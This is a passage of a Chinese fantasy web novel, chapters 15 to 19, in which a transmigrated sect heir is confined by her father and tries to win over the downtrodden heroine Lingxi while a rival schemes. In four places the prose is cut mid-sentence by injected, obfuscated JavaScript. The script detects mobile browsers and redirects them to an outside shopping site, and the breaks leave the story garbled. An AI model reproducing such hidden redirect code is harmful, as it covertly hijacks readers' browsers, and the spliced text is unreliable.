女修有些犹豫,下意识望向能做决定的人。 秦少阳走在最前面,将后面的对话听了个一清二楚。 他摇头,面无表情,“不能解,少门主的话不能信。” “是,大师兄。” 眼见着女修都要被自己说动了,结果秦少阳来这么一出! “秦少阳!”娄危雪一脸受伤,“人与人之间的信任呢!” 被叫到的人回头看了娄危雪一眼,“少门主,上次你说这种话的时候,我可是在你的房间躺了整整一天。” 这也是宗主为什么叫他来抓少门主的原因,毕竟上次少门主可是骗得他吃了能药翻一整头牛的迷药,冒充他的名义拿了下山令牌,逃出宗门。 “咳……那不是迫不得已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593608|143258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘛。”娄危雪也想起了之前逃跑的事,心虚地别开眼。 “不过你相信我,这次我一定不会骗你的。” 似乎是为了强调自己话里的可信度,娄危雪还猛点了下头。 “对,一定!” 吃过一次亏的秦少阳绝不可能相信,他使了个禁言咒,防止娄危雪再说出什么骗人的鬼话。 “以防万一,我们还是尽快回去吧。” “是。” 一众的云霄门弟子纷纷应道。 这里离云霄门并不算太远,在几人不停歇地赶路下,他们终于在深夜赶回了云霄门。 云霄门是当世修仙五大宗门之一,殿宇楼阁坐落于群山之上,在云雾间若隐若现,一座主峰坐落于群山之间,主峰周围还有五座小山,如群星抱月,将主峰环在中间。 之前在路上秦少阳就放了传信纸鹤,对门主说了找到少门主的事情。 他们刚回来,就有弟子迎来行礼,“少门主、各位师兄师姐们一路辛苦了,门主在净尘堂等你们。” 娄危雪苦着张小脸,“我能不去吗?” 传话的弟子摇头,“少门主,这是门主的吩咐。” 娄危雪闻言叹了口气,脑袋耷拉下来,宛如丧失全身力气,认命地被秦少阳一行人带着去往净尘堂。 净尘堂的门大开着,门主娄青涯已经在里面等着了,秦少阳等人走入行礼。 “见过师尊。” “参见门主。” 娄危雪身上的捆仙锁已经被解开,她跟着行礼,弱弱地叫了一声:“爹。” 娄青涯听到动静转过身,他着一袭青衫,广袖宽袍,身姿挺拔,一支仙鹤簪从玉冠中穿过,头发被整齐地固定在头上。 “你们回来了。” 他面容清俊,目光直接略过娄危雪落在了弟子们身上,看上去如沐春风道:“九寒顽劣,逃出宗门,你们找她这么久,辛苦了。” “为宗门办事,不辛苦。”秦少阳等人纷纷应着,态度毕恭毕敬。 虽然他们这位门主看着一副好说话的样子,但实际上罚起人来丝毫不会手软。 娄青涯还是那副笑着的模样,不过周身气势沉下许多,他的目光落在秦少阳的身上。 “少阳,九寒上次逃出山门与你有关,如今你把她找回,算是功过相抵,之前的责罚就免了,不过此类事情不可再发生。” 秦少阳手心贴着手背,躬身应道:“是,弟子谨遵师尊教诲。” 娄青涯微微颔首,看向剩下的几个门内弟子。 “你们此次带九寒回来辛苦了,稍后我会吩咐下去,你们明日可去丹房找赵长老,各自去领取奖赏。” “谢门主。” 交代一番之后,娄青涯朝他们摆摆手,“天色已晚,赶了这么久的路,你们也该累了,都先回去休息吧。” 一行人告退转身离开。 娄危雪见娄青涯一直没提到过她,悄摸摸的转过身,蹑手蹑脚地跟在秦少阳等人的身后,准备一起走。 不过她才刚提着裙摆迈出一小步,娄青涯的声音就在身后响起。 “九寒,你留下。” 16. 第 16 章 娄危雪身体微僵,她懊恼地放下裙摆,转过身。 “爹。” 这声音有气无力的,可见是非常不情愿了。 娄青涯面上的笑容消失,袖袍一甩,走至座椅上坐下,“你还知道回来!” “其实我也不是自己要回来的。” 娄危雪低着头,小声嘟囔着。 “你说什么?”娄青涯的声音提高些许,眼神凌厉。 “没什么。” 这耳力就是好,她都那么小声了,还能被听到。 娄危雪抬头假笑,走到娄青涯身边,弯腰倒了杯茶水递给娄青涯,“爹,我就是在这宗门里待闷了,出去玩玩而已。” 接过娄危雪手中的茶杯,娄青涯抿了口茶水,态度和缓一些。 “出去这么久,玩也玩够了,之后你就在宗门给我老实待着,好好地修炼。” “你是宗门的少门主,门里上下这么多弟子,不少眼睛可都盯着你,你要以身作则才是。” “可是我还没玩够。”娄危雪走到娄青涯身后,伸手放在娄青涯的肩膀上,轻轻地揉捏着,态度极其谄媚,“爹啊,你看咱能不能打个商量?” “你想和我商量什么?” 娄危雪眼睛一亮,有戏。 她试探着问道:“爹你让我在外面玩几年,等我玩够了,我就听你的话,回宗门老实待着,怎么样?” 娄青涯神色未变,用茶盖将茶杯上的茶沫瞥去。 “你想玩几年?” “也就……”娄危雪伸出手指,那手指从五开始逐渐增多,“八、九、十、年吧。” 她心中的小算盘打得噼啪作响,八、九、十、年对于修仙人来说不过转眼一瞬,等她在外面躲上几年,原书女主和娄青涯认亲成功,娄青涯哪里还会在意她啊,到时候她不就可以避开书中剧情活下去了嘛! 简直完美! 她可真是个天才啊! “爹,你觉得怎么样啊?” 娄青涯没有立刻回答娄危雪,他把手中的茶盏放下,茶盏的底和茶托磕碰到一起,发出清脆的声响。 “来人。” 门外一个弟子推门而入。 “门主。” “带少门主回她的房间,没有我的允许,不准她踏出房门半步!” “是。” 弟子应声,伸出一只手,朝娄危雪示意,“少门主,请。” 娄危雪不愿意走,她仍不死心,“爹,八九年不行,那三五年也可以啊!” 娄青涯沉下脸,“还不快带走!” 走进来的弟子见娄青涯发怒,忙走到娄危雪身边,将人压住。 “少门主,得罪了。” “别啊,爹!这都是可以商量的!”娄危雪被带着往外走,头还止不住地往后看,“咱们再聊聊啊!” 娄青涯冷脸,袖袍一挥,大门关上,娄危雪的声音悉数被隔绝。 娄危雪被带回房间,那名送她回来的弟子关上门,准备离开。 门在快被关上的时候,娄危雪迈开长腿,伸出手扒着门,凑近门缝。 “别这样,有话好说啊!” “少门主,你知道的,门主的消息不能违背,你还是别为难我了。”那名弟子说着,伸手把娄危雪的手指一根根从门上掰下。 砰—— 房门在娄危雪的眼前被无情关闭,一道咒法升起,笼罩住娄危雪的房间。 娄危雪不甘心地拍打着房门,“我被抓回来赶了一晚上的路,还没洗漱,你至少等我洗漱之后,再把我关进来啊!” “你还在吗?你听到了吗?” 那名弟子的脚步并未因此停留,他从房间门口离开,向在此处巡逻的两名弟子嘱咐:“门主吩咐,不许许门主踏出房间半步。” 巡逻弟子心领神会,“是,我们会好好看着少门主的。” 屋内。 娄危雪喊了半天,见没人理她,泄气地把自己丢到软榻上。 火光透过琉璃灯盏照在她的脸上,灯光绰约,长长的睫毛在她的眼下投射出一道阴影,叫人看不清神色。 她是为了躲沈清鸿才下山的,没想到不过几天就被抓回来了。 说起来也不知道沈清鸿现在怎么样了,有没有回去,是不是已经发现她离开的事情了。 娄危雪抱着软榻上的枕头,趴着出神。 直到一阵敲门声响起,娄危雪才回过神。 “嗯?” 娄危雪从软榻上爬起来,“进。” 门被推开,有女子走入门内,她身着鹅黄色纱裙,腰间系着白色的腰带,更显腰肢纤细。 此人正是娄危雪在书里看到的女主,玲溪,今年宗门收的最小的弟子。 玲溪的相貌很好,眉如远黛,唇红齿白,那双眼睛圆溜溜的,清澈干净,宛如小鹿。 娄危雪心中有个不好的猜测,她询问:“你怎么来了?” 玲溪瑟缩一下,怯懦道:“少门主先前说没有洗漱,师兄向门主复命的时候说了这件事,所以门主让我带杂役弟子过来给少门主送水,如果少门主有别的要求也可以和我说,以后几天都是我给少门主送餐。” 娄危雪朝门外看了一眼,外面站了不少人。 她招手,“都进来吧。” 杂役弟子鱼贯而入,将手中提着的热水悉数倒入屏风后的浴桶之中,然后就候在一边,等着给娄危雪宽衣。 娄危雪没有被人照顾的习惯,她吩咐道:“你们先出去吧。” “是。” 一众杂役弟子朝外走去,玲溪转身正要离开,可是娄危雪却突然出声。 “玲溪,你等等。” 玲溪身体很明显地抖了一下,她转过身,面色惨白。 “少……少门主。” “你抖什么啊?” 娄危雪皱眉,这人是身体哪里不舒服吗? 不过是一句询问,再正常不过,可在玲溪耳中却宛如恶魔低语。 “对不起,我错了,求少门主饶命!” 玲溪双膝弯下,扑通一声,竟然直接跪在娄危雪的面前。 她低着头,跪下时只有小小一团,身体抖个不停,像是怕得厉害。 娄危雪:不带这么碰瓷的啊,她可什么都没做呢! “不是,你跪下干什么?” 玲溪没听出娄危雪语气中的不对,她只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604037|143258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当娄危雪是在问责。 “我惹少门主不开心了,求少门主放过我,我知道错了。” 娄危雪瞠目结舌,“你哪里看到我不开心了。” “我……”玲溪咬唇,她答不上来。 娄危雪见玲溪这样,突然想起了原本书里的剧情,在她穿越过来之前,原身经常找玲溪的麻烦,对玲溪非打即骂的。 说起来玲溪也是真的惨,本该是云霄门的少门主,结果被调换了身份,自幼吃尽苦楚,因为书中女主攻花厌对她的一点好,就对花厌情根深种,甘愿被花厌利用做她的炉鼎,甚至服用生子丹怀孕,九死一生才感动花厌。 想到书中玲溪的悲惨遭遇,娄危雪看人的目光突然怜爱起来。 这小可怜。 “我没不开心,你起来吧。” 之前娄危雪用类似的话骗玲溪起来过,结果等她起来换来的就是更严重的责罚。 玲溪身体抖了一下,并不敢动。 娄危雪叹了口气,弯腰伸手扶人。 “起来。” 被娄危雪触碰到的瞬间,玲溪宛如触电一般。 “不敢劳烦少门主。” 玲溪躲了下娄危雪的手站起身,不过这过程中她始终低着头,不敢看娄危雪一眼。 娄危雪扶额有些无奈,并未强求。 刚刚玲溪躲她的时候,露出一小截胳膊,她皮肤白皙,那上面的伤疤就显得格外明显。 如果没记错的话,玲溪胳膊上的伤还是原身弄的。 这可都是原身造的孽啊! 现在她占了原身的身体,不能坐视不理! “你在这等着。” 娄危雪走入里间,她拉开床边的抽屉,那里面放着各种灵药,皆是上品。 她从中找出一个绿色的瓷瓶,然后拿出,走到玲溪身边递了出去。 “这个你拿着。” “这……”玲溪颤颤巍巍地伸出手来,犹豫着不太敢去接。 她不知道这是什么东西,更不知道娄危雪想让她用这个干什么。 见玲溪一直磨磨蹭蹭的,娄危雪叹了口气。 她拔出瓶塞,找了根上药用的药棍,将里面的药膏挖了些出来,在自己的手背上擦开。 “你看,没事。” 娄危雪把瓶塞塞回去,然后一把拽过玲溪没敢伸出来的手,把药瓶放入了玲溪的掌心。 “这是去痕膏,很好用的,你拿回去之后把药膏涂在自己的伤疤上,坚持涂一段时间,伤疤就会消失。” 玲溪只当娄危雪是想到了什么新的方法捉弄她,还是不敢收。 她伸出手掌,两手恭敬地捧着药瓶,“少门主,这东西太贵重了,我不能收。” “不过是个去伤疤的药膏,怎么就贵重了。”娄危雪把玲溪的手推回,“而且这个是药,如果只是把它放在那里,它就失去了它的价值。” “之前对你打骂是我不对,我已经知道错了,这药膏你就安心收着吧。” 灯光下,娄危雪的眼睛亮晶晶的,她是娄危雪,又不是娄危雪。 “我知道你现在不会一下子就相信我,但是你可以等等看,时间足以证明一切。” 17. 第 17 章 玲溪怔怔看着手中的绿色药瓶,终究还是收下了。 娄危雪心满意足,眼睛弯起,“行了,不和你说了,你走吧,我那洗澡的水一会该放凉了。” “是。” 玲溪转身走出娄危雪的房间。 娄危雪把房间门插上,褪下衣裙,走入浴盆中。 她靠着浴盆壁,脑袋向后仰去,有些发愁。 好不容易逃出宗门结果这就被抓回来了,还再次碰到了原女主,这该死的剧情,真是怎么都绕不过啊! 如果她没记错的话,按照发展,过不了多久她和玲溪的身世疑点就会被花厌给曝光,然后玲溪会被花厌利用,她和玲溪作为真假少门主会屡次发生矛盾,正逢清鸿仙尊前来退婚,认出女主玲溪是她曾经的救命恩人,从此化身痴情女儿默默守护女主,最终清鸿仙尊会为了保护玲溪杀了她。 既然早知道书中的剧情,就不能坐以待毙,得想办法避开这些情节才行。 娄危雪撩了捧水清洗自己,脑子却还转个不停。 现在她被困在屋里逃不掉,比较方便接触的人除了洒扫的外门弟子,就只有玲溪,看来得想办法先从玲溪身上下手。 她会好好对玲溪的,争取在两人身份曝光前培养出足够的感情,到时候身份曝光后她直接麻利让位,应该可以逃过一劫吧! 没错!就这么定了! 想开之后,娄危雪心情大好,一边哼歌,一边洗澡。 水快凉的时候,娄危雪才从浴盆中出来,一个小小的法术就解决了她身上的水迹。 有法术真方便,快乐! 娄危雪美滋滋地穿好亵衣,躺在床上,没多久就进入梦乡。 一夜无梦。 娄危雪睡了个好觉,早上起来的时候,可谓是神清气爽。 她把房门推开,空气清新,并不热烈的阳光洒入房内,叫人心情明媚。 外门负责起居的弟子见娄危雪醒了,走入屋内,把浴桶撤下去清洗,给娄危雪打来了新的用水。 娄危雪洗漱过后,那些人就退下了。没多久,玲溪提着食盒走了过来。 “少门主,我来给你送早餐。” 她来到桌边,把带来的餐食一一摆放出来。 云母粥、玉露团、糖脆饼、软枣糕……种类繁复,足足摆了一桌子。 娄危雪坐在桌前,看着满桌的吃食,觉得她的胃根本就装不下这么多! 这是要撑死谁! 可如果吃不完,剩下的吃食,只会被收走倒掉。 不行,不能浪费粮食! 娄危雪的目光挪到玲溪的身上,“你吃饭了吗?” 在玲溪的认知里,娄危雪并不是个好伺候的主,是以她早上起床之后,就在厨房候着了,就是怕娄危雪起床之后,如果没有在饿肚子前吃到早膳,会找她的麻烦。 她回答道:“回少门主,还没有。” 这个回答,正合娄危雪的心意。 她看玲溪的眼神更和煦了,“你送来的餐食很多,我一个人吃不完,你就过来和我一起吃吧。” 玲溪蓦然睁大眼睛,宛如受惊的兔子。 “这……” “别这这那那的了,”娄危雪起身,干脆利落地将玲溪按在凳子上坐下。 “一起吃,别客气。” 娄危雪叫人加了一副碗筷过来,她把勺子塞到玲溪的手中,盛了粥放在玲溪面前。 玲溪还没受到过这样的待遇,看着面前热腾腾的云母粥,回不过神。 这是梦吗?一向嚣张跋扈的少门主为什么突然对她这么好?玲溪一时完全没反应过来。 见人傻愣着不动,娄危雪轻轻扣了扣桌子。 “别只看着,吃啊!” 玲溪回神,这好像不是梦。 她试探着拿起勺子舀了一勺,吹凉了吃下。 粥的香味在舌尖炸开,浓稠顺滑。 娄危雪眨巴着眼睛,“怎么样,还合胃口吗?” “嗯。”玲溪轻应一声,她低着头,额前的头发挡住眼睛,叫人看不清神色。 娄危雪眼睛微弯,很好,就这样。 继续保持! 她拿起自己的筷子,开始用餐。 桌上糕点很多,娄危雪如果吃到合胃口的,还会给玲溪推荐。 “这个酸枣糕好吃,你尝尝。” “还有这个。” 玲溪虽然听娄危雪的话坐下来吃饭了,但是拘谨得很。 看上去束手束脚的,放不开。 娄危雪见不得她这样,劝说道:“哎呀,吃顿饭而已,我又不会把你怎么样。” 她指指打开的房门,“况且这门还开着呢,大白天的,你不要怕嘛。” “笑笑,放松点。” 玲溪努力扯起嘴角,露出一个僵硬的笑容,并没有因为娄危雪的话就放松下来。 看着那比哭还难看的笑容,娄危雪有些无语。 她没再多说,继续吃饭。 早餐结束后,玲溪把桌上的空盘收走。 娄危雪望着玲溪离开的背影,态度悠然。 她还不知道要在房间被关到什么时候,还有很多和玲溪接触的机会。 总之,慢慢来吧。 之后的几天,娄危雪努力在玲溪面前展示着自己的无害。 吃饭的时候她总会叫玲溪一起,饭桌上还会时不时和玲溪说上几句,活跃气氛,让玲溪尽量放松。 玲溪从最开始的,听到娄危雪声音大点就发抖,到最后在娄危雪面前已经可以做到泰然自若。 这进步可不算小。 虽然玲溪和娄危雪依旧说不上亲近,但总归是好了许多。 照这样下去,她和玲溪的关系早晚有一天会变好,她说不定就不用死了。 前途大好啊! 娄危雪一连几天嘴角都是翘着的,直到这天。 玲溪一如往常给娄危雪送饭,可娄危雪在看清她面容的瞬间,眉头皱起。 “你脸上的伤是怎么回事?” 玲溪右边的脸颊红红的肿起了些许,此外她的额头上破了个口子,已经止血,看上去是处理过了。 “路上不小心摔了一跤。” 玲溪朝右侧了侧身体,不想让娄危雪看。 她自幼吃苦,被人欺负,早已学会忍受了,若是受伤还不懂闭嘴,只会被欺负得更狠。 娄危雪眼眸微敛,“你的脸肿成这样,你和我说是摔的?你觉得我有那么蠢吗?” “到底怎么回事。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13613120|143258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 娄危雪脸上笑意全无,眼睛黑沉沉的。 从娄危雪回来之后,玲溪这几天还是第一次在娄危雪见到这样的神情。 以前被惩罚教训的画面在玲溪脑海中浮现,她腿脚发软,手指害怕地攥在一起,不知道该如何应对。 “如果你不说,我还可以叫人去查。”娄危雪垂眸看了眼玲溪绞在一起的手指,语气平稳,听不出半点喜怒,“虽然我出不去,但是门外有巡逻的师兄师姐们,看在我这个少门主的面子,他们会帮我的。” “我……”玲溪抿了抿唇,嗓音干涩,“我脸上的伤,是被人打的。” 昨夜,玲溪洗漱之后用娄危雪送的去痕膏涂抹伤口,结果住在隔壁的几个师姐突然跑到她的房间,看到她用的去痕膏,非要说是她偷的。 玲溪自然是不承认的,可也因此被师姐狠狠教训了一顿,最后连去痕膏都被夺去了。 见玲溪终于愿意开口说话,娄危雪追问:“打你的人是谁?” 玲溪再次沉默,这次娄危雪没有继续催,她用眼神鼓励玲溪,给足了玲溪时间,直到玲溪再次开口。 “是第三峰的几位师姐,她们说少门主你给我的药,是我偷的,所以打了我。” 娄危雪循循善诱,“哪些师姐,她们叫什么?” 话头被打开后就收不住了,玲溪这次的回答顺畅许多。 “林月师姐,孙杏师姐,还有吴浅右师姐。” “很好。”娄危雪难得露出一丝笑容,“以后如果受人欺负,你记得像这样说出来,不要闷在心里,不然我怎么能给你讨公道呢?” 她从腰间摘下自己的腰牌,“现在,你可以拿着这个把她们叫过来。” 玲溪定定地看着娄危雪手中代表她身份的腰牌,片刻后,伸手拿过。 她听到自己应道:“好。” 玲溪转身走出房门,一步一步走得很稳。 没过多久,玲溪重新回来,在她身后的是三个穿着弟子服的女子。 娄危雪坐着,目光从三人的脸上一一扫过。 “林月,孙杏,吴浅右。” 她一个一个地叫着,被叫到的人脸色俱是一白。 “知道我为什么叫你们吗?” 三人尽管心中已经有了些猜测,但是并不想承认。 她们装傻:“不知道。” “玲溪脸上的伤是怎么回事?” “冤枉啊少门主,那伤肯定是她自己弄的。” “玲溪,你怎么能冤枉我们呢?” “少门主你可千万别相信她说的话,我们根本就没打她。” 娄危雪被气笑了,都这个时候了,这三人第一时间想着的不是道歉,而是污蔑! “谁会无缘无故地打自己,你们还不说实话!是要我叫人去查吗!” “这如果被查出来了,我想你们也不必留在宗门了!” 娄危雪这话说得很重,但她是少门主,而她们三个不过是第三峰的普通弟子。 冷汗一点点布满三人的额头,三人牙齿打颤。 林月最先忍受不住娄危雪带来的威压,膝盖软下。 “我知道错了,求少门主放我一马。” 另外两个人见状,都坚持不下去,纷纷跪地。 18. 第 18 章 娄危雪冷眼看着跪地求饶的三人,“你们该求的不是我,该道歉的人也不是我。” 三人不是傻子,皆听明白了娄危雪话中的意思。 她们赶忙换个方向,朝玲溪连连求饶。 “玲溪,你我都是同门,求你绕我这一次。” “是啊玲溪,我当时是猪油蒙了心才那样对你的,我已经知道错了。” “玲溪对不起,你大人不记小人过,别和我一般见识。” 看着面前身体发抖,满眼不安的三人,玲溪一阵恍惚,原来有人帮她讨公道的感觉是这样的。 娄危雪把选择权交到玲溪手中,“玲溪,这三人,你说要怎么处置?” “我可以吗?” “你可以。” “我……”时间一分一秒流逝,玲溪的眼神从犹豫逐渐变得坚定,最后仿佛是终于下定决心,她启唇:“我要她们把抢我的东西还回来。” “只是这样就可以了吗?” “嗯。” 玲溪点头缓缓露出一个笑容,只是这样,她就已经满足了。 她常受人欺辱,这还是头一回可以自己做主。 这是几日来,娄危雪第一次在玲溪脸上看到真心实意的笑容。 她没有干涉玲溪的决定,朝跪着的三人扬扬下巴,“你们听到了吗?” “听到了,听到了。” 三人连连点头,孙杏从怀中取出抢来的药瓶,恭恭敬敬的捧在手上递出去。 “玲溪,这是你的东西。” 玲溪把药瓶重新取回,牢牢攥在手心。 “行了,你们滚吧。”娄危雪朝三人摆摆手,同时警告:“不过如果再让我知道你们欺压同门,我绝不轻饶!” “是,我们明白了。” 三人应下后,赶紧跑走了。 玲溪把视线从狼狈逃跑的三人身上收回,她走到娄危雪面前,弯腰行礼。 “谢少门主为我做主。” “这不算什么。”娄危雪语气和缓,“玲溪,你想以后不再随便受人欺负吗?” 不随便受人欺负?这个诱惑太大,怎么能不想呢? “我想。”玲溪回答得斩钉截铁。 娄危雪很喜欢玲溪的回答,她笑道:“那你可听好了,这世上没有谁能够一直帮你,哪怕是我也不会。” “如果你不想受欺负,那就要努力让自己变强,变得比欺负你的人更强,这样她们就不敢再欺负你了。” “你要记住,所有来自外力的帮助都是虚的,是随时都有可能消失的,只有你拥有的,才是你自己的。” 玲溪沉思,让自己变强吗?这好像是第一次有人这么告诉她。 这段日子以来,玲溪能清楚地感受到娄危雪身上的变化,一开始玲溪只当是娄危雪想出什么新的玩法折磨她,可是似乎并不是这样。 不过有件事情玲溪想不明白。 “少门主,你为什么对我这么好?” 娄危雪轻轻一笑,不答反问:“这就叫对你好了?” 玲溪不解,“少门主叫我吃饭,给我膏药,还帮我做主,这不是对我好吗?” 娄危雪摇头,她如果想对一个人好,能做到的可不止这些。 “我叫你吃饭,是因为你每次送的饭菜很多,我一个人根本吃不完。” “我给你膏药,是因为你身上的伤疤是我造成的,我在弥补。” “至于我帮你做主,只是因为我是少门主,我有这个权利,又恰巧做了有正常良知的人会做的事情,这个不算什么。” 娄危雪知道玲溪过得不好,非常渴望得到他人的关爱,也明白眼下这是她笼络玲溪的大好机会,只不过娄危雪并不想玲溪因为这些小事,就对她心生感激。 她道:“玲溪,我做的这些都是很普通的事情,没有什么特殊。” “不过,我说过,我会对你好的,你可不要因为我这么说,就失望啊。” 娄危雪调皮地冲玲溪眨了下眼睛,让沉闷的气氛活跃一些。 她会把玲溪当做妹妹,让玲溪明白什么才是真正的好,这样玲溪就不会因为花厌做的一些小事,生死相托了! 玲溪愣神,娄危雪的回答很不一样,在她看来,娄危雪那样做已经是对她很好了。 在玲溪发怔的时候,娄危雪走到桌前,把玲溪带来的食盒打开。 “这次分量也很足呢。” 她朝傻站着的玲溪招手,“快来吃饭,一会饭该凉了。” 玲溪回神抬眸,望着眉眼弯弯,笑容清浅的人,突然觉得,或许娄危雪真的已经在反省了。 这件事情过去之后,玲溪在娄危雪面前自在许多,两人逐渐变得熟稔。 娄危雪帮玲溪出头的事情,不知怎的在宗门中传开了,没人再敢欺负玲溪。 玲溪每天除了修炼外,便是给娄危雪送一日三餐,偶尔娄危雪会教她一些道理,尽管有的道理她不理解,也没听明白。 这是她记忆中最轻松的一段时光,不用为温饱发愁,不用担心被欺负。 就在玲溪快陷落在这平静的日常中时,花厌出现了。 她的轮廓较一般女子来言要凌厉许多,浓墨般的眉毛下是一双深邃的眼睛,鼻梁高挺,朱唇饱满而红润,身形挺拔,穿着不知道哪里弄来的弟子服,正站在玲溪的房间中。 玲溪满眼惊喜,唇角上扬露出一个大大的笑容。 “少主,你怎么来啦,没人发现你吧。” “没有。”花厌自然而然地牵起玲溪的手,询问道:“你在这里过得怎么样?有没有人欺负你?” 玲溪看着自己被握住的手,面颊浮上一层淡淡的红晕。 她如实说道:“我最近在帮少门主送饭,她对我很好,所以没有人敢欺负我。” 这个回答出乎花厌的意料,她眼睛微眯。 “娄危雪?” “是啊,少门主现在和以前不一样了,她会叫我和她一起吃饭,在有人欺负我的时候,还会帮我。” “少主你看,”玲溪抬起手臂,撩起袖子,原本伤疤的地方只剩下一层淡淡的粉色,印在白皙的胳膊上,宛如胎记。 “多亏少门主给我的去痕膏,我这里的伤疤已经快消失了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628185|143258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果没记错的话,这疤原本是娄危雪弄的。 花厌眼底闪过一丝暗色,伸手摩挲着玲溪的伤痕,“玲溪你忘了吗?你这里原本就不该有伤。” “我知道,不过少门主已经知道错了,她还向我道歉,也在努力地弥补我。” 玲溪替娄危雪辩解,除了花厌,娄危雪是第二个对她好的人,她不希望花厌误会娄危雪。 花厌并没有因为玲溪的话,就相信娄危雪。 她皱起眉,“你不要被她给骗了,你忘记她之前是怎么对你的吗?” “我没忘,可是少门主现在对我真的很不错。” “这只不过是她的计谋而已,她是想要你放下防备,然后用更恶毒的方法折磨你!你不能掉入她的陷阱中!” “况且你觉得,如果娄危雪知道你是合欢宗派到云霄门的卧底,她还会对你如现在这般吗?” “可……” 花厌抓住玲溪的肩膀,打断她的话。 “难道你现在宁愿相信娄危雪,也不相信我吗?” 玲溪慌了,连忙解释:“少主,你误会了,你对我来说永远是最重要的,谁也不能代替你在我心中的位置。” 花厌并未言语,只是用深邃黑沉的眼眸直直地看着玲溪。 玲溪更慌了,眼眶很快红了一圈,声线颤抖。 “少主,我只有你了,你相信我好吗?” 泪水缓缓充盈玲溪的眼眶,她的眼睛湿漉漉的,说话带上了哭腔,“我会听你的话,你不要这样。” “少主,别不理我。” 花厌叹了口气,伸手轻轻擦去玲溪面上的泪水。 “对不起,我把你弄哭了。” “玲溪,我实在是太担心你了。” “没事,少主,我没关系的。” 玲溪摇头,抹去泪水,嘴角强行扯出一抹弧度。 “我知道少主只是太关心我了,我怎么会怪你呢。” 花厌似是动容,将玲溪揽入怀中,不过在玲溪看不到的地方,花厌嘴角勾起一抹讥讽的笑容,眼神冰冷。 两人温存了好一会,花厌才放开玲溪。 “玲溪,今天我除了来见你,还有一件事,需要你配合。” “什么事情?少主你说。” “今晚你不要去给娄危雪送饭了,我会代替你去送饭。” 原本花厌今日来找玲溪,是有其他事情要和玲溪商量的,不过看玲溪现在对娄危雪的态度,花厌改变了自己的主意。 玲溪隐约察觉到了一些,不安问道:“少主,你要做什么?” 花厌安抚性地朝玲溪笑笑,“没什么,只是一件小事,你不用担心。” 怕玲溪继续追问,花厌说道:“我在这里已经好一会了,该走了。” “好,”玲溪点头,恋恋不舍地放开花厌的手,“少主你走吧,小心不要被发现。” 在走到门边的时候,花厌侧首嘱咐:“记住我今天和你说的话,小心娄危雪。” “我知道了,少主你放心。” 听玲溪应下,花厌放心,迈步毫不犹豫地踏出玲溪房间。 19. 第 19 章 下午。 娄危雪拿着话本打发时间,正看着,忽然感觉有什么冰凉的东西流到自己的衣服上。 她疑惑抬眸,就看到玲溪提着茶壶正在倒水,只不过那茶杯里的水已经满了,玲溪对此还毫无所觉,手中的茶壶依旧倾斜着,水从茶杯中漫出,流了一桌。 娄危雪连忙伸手按住玲溪的胳膊,她疑惑。 “玲溪,你怎么了?” 这个时候玲溪才回过神,看清被水弄得一塌糊涂的桌面,也顺着水流的方向,看见桌沿边流下的水滴。 她赶忙把茶壶放下,对娄危雪道歉:“对不起,少门主!” “没事。” 这并不是什么大事,娄危雪抬手法光闪过,衣服上的水迹蒸发消失,桌上的水也跟着蒸腾不见。 她把话本放到桌上,“你刚刚在想什么?” 玲溪眼中闪过一瞬间的慌乱,借口道:“没什么,只是有点走神了。” 娄危雪扫了玲溪一眼,没有继续追问。 只是感觉今天的玲溪怪怪的,和往常不太一样,可如果叫娄危雪说是哪里奇怪,娄危雪也说不上来。 不过算算日子,接下来好像要到那个剧情了,难道玲溪今天的反常,和那件事情有关系吗? 如果真的如此,那就得做点准备了。 娄危雪面上不露声色,心中已经打起了小算盘。 玲溪因为心中藏得有事情,总是心神不宁的,做事难免毛手毛脚了一些。 为了避免自己继续犯错,玲溪早早地便向娄危雪告退,离开了。 等人走后,娄危雪走向门口。 守门的其中一名弟子见状,伸手拦住娄危雪。 “少门主,门主有令,你不能出来。” “好,我不出来,”娄危雪向后退了一步,“不过师弟,你可以帮我叫一下少阳师兄吗?我有事情要和师兄商量。” 娄青涯并没有阻止娄危雪和其他人接触,守门弟子应下,转身离开。 